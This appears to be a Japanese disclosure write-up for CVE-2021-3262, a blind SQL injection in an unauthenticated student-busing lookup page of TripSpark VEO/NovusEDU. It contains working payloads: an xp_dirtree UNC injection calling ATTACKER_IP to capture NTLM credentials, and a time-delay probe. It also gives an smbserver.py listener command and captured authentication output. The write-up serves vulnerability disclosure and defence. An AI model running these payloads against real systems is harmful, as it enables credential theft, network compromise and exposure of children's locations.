
CVE-2021-3262 - TripSpark VEO Transportation / NovusEDU の editOEN パラメータにおけるブラインドSQLインジェクション。認証不要で、インターネットに公開された環境から悪用可能。ペイロード、注釈付きリクエスト、および証跡を含む。
TripSpark VEO Transportation / NovusEDU における SQL インジェクション
TripSpark VEO Transportation に同梱されている公開の「Student Busing Information」参照ページは、認証なしの POST ボディ入力を受け取り、パラメータ化もサーバーサイド検証も行わずに SQL Server クエリへ連結します。editOEN パラメータ(生徒番号フィールド)がインジェクション可能です。
このインジェクションはブラインド型です。アプリケーションはデータベースエラーを返さず、読み取り価値のある差分コンテンツも返しません。ただし、データベース接続が master.dbo.xp_dirtree に到達できるため、アウトオブバンドで完全に悪用可能です。これにより、SQL Server サービスアカウントが攻撃者指定の UNC パスに対して SMB 経由で外向きに認証することを強制されます。
外部ペネトレーションテスト中に発見されました。元のエンゲージメントでは、キャプチャしたサービスアカウントの資格情報が足掛かりとなり、クライアントの Active Directory ドメインとフォレストの完全な侵害に至りました。
CVE-2021-3262 として公開。発見・報告者は Show Up Show Out Security の Sedric Louissaint 氏です。
| CVE | CVE-2021-3262 |
| 製品 | TripSpark VEO Transportation / NovusEDU |
| 影響を受けるバージョン | NovusEDU-2.2.x-XP_BB-20201123-184084、VEO--20201123-184084OS |
| 脆弱性 | CWE-89: SQL Injection |
| CVSS 3.1 (NVD) | 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (研究者) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| 公開日 | 2023-08-29 |
| テスト環境 | Windows Server 2012 R2 Standard、SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| 必要な認証 | なし。参照ページは設計上インターネットに公開されています。 |
NVD の説明:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 は、サーバーサイドロジックによるサニタイズを行わずに、エンドユーザーからの POST ボディパラメータで安全でないデータ入力を許可します。「Student Busing Information」検索クエリにカスタム SQL コマンドを注入することが可能でした。
学区は「Student Busing Information」ページを一般公開ウェブサイトに展開し、保護者が生徒のバス割り当てを確認できるようにしています。このページは生徒の N 番号と生年月日を要求し、意図的に認証なしで公開されています。

N 番号フィールドは editOEN として POST されます。生年月日は cboxMonth、cboxDay、cboxYear として POST されます。editOEN がインジェクション可能なパラメータです。
この時代の多くの ASP.NET アプリケーションとは異なり、このページはデータベースエラーをエコーバックしません。正常なクエリと破損したクエリの間に目に見える違いはないため、インバンド手法は行き詰まります。
スタッククエリは実行されます。それだけで十分です。
master.dbo.xp_dirtree はディレクトリを列挙します。UNC パスが与えられると、SQL Server は読み取り前に SMB 経由でターゲットホストに認証します。これをリスナーに向けることで、無音のインジェクションを可視化できます:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

リクエストは通常の ASP.NET WebForms POST で、約 4,700 バイト、そのほとんどが __VIEWSTATE です。完全なリクエストは poc/exploited-request.http に、ペイロードは poc/payloads.sql にあります。

Impacket の smbserver.py を公開インターネット上のホストで待機させると、学区ネットワーク内のデータベースサーバーが外向きに認証します:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

明確に言及する価値のある点が 2 つあります。第一に、これは認証なしのインターネット公開フォームが本番データベースに到達していることです。第二に、そのデータベースサーバーは任意のインターネットホストへの外向き SMB 接続を許可されており、それがブラインドインジェクションを観測可能にしたのです。
インジェクション自体に加えて、キャプチャされた SQL Server サービスアカウントの NTLMv2 資格情報は、元のエンゲージメントにおける最初の足掛かりでした。そこから評価はクライアントの Active Directory ドメインとフォレストの完全な侵害へとエスカレーションしました。
リスクにさらされるデータは生徒の交通記録です: 氏名、自宅住所、割り当てられたバス、割り当てられた停留所、乗車時間、特別教育のルーティング。これは、特定可能な児童が既知の時間に物理的にどこにいるかというスケジュールです。
所有している、またはテストを許可されたラボインスタンスに対して:
sudo smbserver.py c . -smb2support
poc/payloads.sql の xp_dirtree ペイロードを、自分の IP に置き換えて送信します。フィールドにクライアントサイドの長さ制限がある場合は、ブラウザで入力するのではなく POST をキャプチャしてリプレイしてください。その制限はサーバーサイドには存在しないためです。123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
キャプチャ内のクライアント識別子は伏せ字にされています。リスナーアドレスは元のエンゲージメントのものであり、とっくに無効です。再現する際は自分のものに置き換えてください。
editOEN をパラメータとしてバインドすれば、ペイロードは中身が何であれ不活性な文字列になります。xp_dirtree およびその他の拡張ストアドプロシージャへのアクセスを revoked してください。| 日付 | 出来事 |
|---|---|
| 2021 | 外部ペネトレーションテスト中に発見され、TripSpark に報告 |
| 2023-08-29 | CVE-2021-3262 が NVD に公開され、深刻度 9.8 Critical と評価 |
開示後に、防御および教育目的で公開されています。所有していない、または書面によるテスト許可を得ていないシステムに対してこれらのペイロードを実行しないでください。学区の展開を管理している場合、ここで有効な行動は、公開フォームの背後にあるクエリがパラメータ化されているかどうかをベンダーに書面で尋ねることです。